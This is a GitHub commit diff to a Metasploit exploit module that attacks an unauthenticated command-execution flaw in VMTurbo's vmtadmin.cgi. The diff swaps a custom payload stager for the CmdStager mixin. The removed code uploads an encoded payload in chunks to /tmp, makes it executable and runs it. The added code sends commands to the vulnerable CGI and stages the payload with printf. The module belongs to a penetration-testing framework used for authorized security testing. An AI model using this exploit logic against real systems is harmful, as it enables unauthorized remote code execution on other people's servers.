Skip to content

Commit f71589f

Browse files
committed
Simplify payload upload using 'CmdStager' mixin
1 parent cc57705 commit f71589f

File tree

1 file changed

+8
-85
lines changed

1 file changed

+8
-85
lines changed

modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb

Lines changed: 8 additions & 85 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::EXE
13-
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::CmdStager
1413

1514
def initialize(info = {})
1615
super(update_info(info,
@@ -64,6 +63,8 @@ def initialize(info = {})
6463
],
6564
'DefaultTarget' => 1
6665
))
66+
67+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
6768
end
6869

6970
def check
@@ -98,7 +99,7 @@ def check
9899
end
99100
end
100101

101-
def request(cmd)
102+
def execute_command(cmd, opts)
102103
begin
103104
res = send_request_cgi({
104105
'uri' => '/cgi-bin/vmtadmin.cgi',
@@ -113,88 +114,16 @@ def request(cmd)
113114
vprint_error("#{peer} - Failed to connect to the web server")
114115
return nil
115116
end
116-
vprint_status("Sent command #{cmd}")
117-
res
118-
end
119-
120-
121-
def unix_stager(data)
122-
123-
file_name = "/tmp/#{rand_text_alphanumeric(4+rand(4))}"
124-
125-
unix_upload(file_name, data)
126-
register_file_for_cleanup(file_name)
127-
128-
request("/bin/chmod +x #{file_name}")
129-
request("#{file_name}&")
130-
end
131-
132-
def unix_upload(file_name, data, append=false)
133-
# This file uploader is used as early stager and follows the core
134-
# function _write_file_unix_shell() in lib/msf/core/post/file.rb
135-
136-
redirect = (append ? '>>' : '>')
137-
138-
# Short-circuit an empty string. The : builtin is part of posix
139-
# standard and should theoretically exist everywhere.
140-
if data.length == 0
141-
request(": #{redirect} #{file_name}")
142-
return
143-
end
144-
145-
d = data.dup
146-
d.force_encoding('binary') if d.respond_to? :force_encoding
147117

148-
chunks = []
149-
command = nil
150-
cmd_name = ''
151-
152-
# Conservative.
153-
line_max = 512
154-
# Leave plenty of room for the filename we're writing to and the
155-
# command to echo it out
156-
line_max -= file_name.length
157-
line_max -= 64
158-
159-
command = %q(/usr/bin/printf 'CONTENTS')
160-
161-
# each byte will balloon up to 4 when we encode
162-
# (A becomes \x41 or \101)
163-
max = line_max / 4
164-
165-
i = 0
166-
while i < d.length
167-
slice = d.slice(i...(i + max))
168-
chunks << Rex::Text.to_octal(slice)
169-
i += max
170-
end
171-
172-
print_status("Sending payload to #{file_name} writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes")
173-
174-
# The first command needs to use the provided redirection for either
175-
# appending or truncating.
176-
cmd = command.sub('CONTENTS') { chunks.shift }
177-
request("#{cmd} #{redirect} '#{file_name}'")
178-
179-
# After creating/truncating or appending with the first command, we
180-
# need to append from here on out.
181-
chunks.each { |chunk|
182-
vprint_status("Next chunk is #{chunk.length} bytes")
183-
cmd = command.sub('CONTENTS') { chunk }
184-
185-
request("#{cmd} >> '#{file_name}'")
186-
}
187-
true
118+
vprint_status("Sent command #{cmd}")
188119
end
189120

190121
def exploit
191122

192-
#
193123
# Handle single command shot
194-
#
195124
if target.name =~ /CMD/
196125
cmd = payload.encoded
197-
res = request(cmd)
126+
res = execute_command(cmd)
198127

199128
unless res
200129
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
@@ -204,13 +133,7 @@ def exploit
204133
return
205134
end
206135

207-
@pl = generate_payload_exe
208-
209-
unless @pl
210-
fail_with(Failure::BadConfig, "#{peer} - Please set payload before to run exploit.")
211-
return
212-
end
213-
214-
unix_stager(@pl)
136+
# Handle payload upload using CmdStager mixin
137+
execute_cmdstager({:flavor => :printf})
215138
end
216139
end

0 commit comments

Comments
 (0)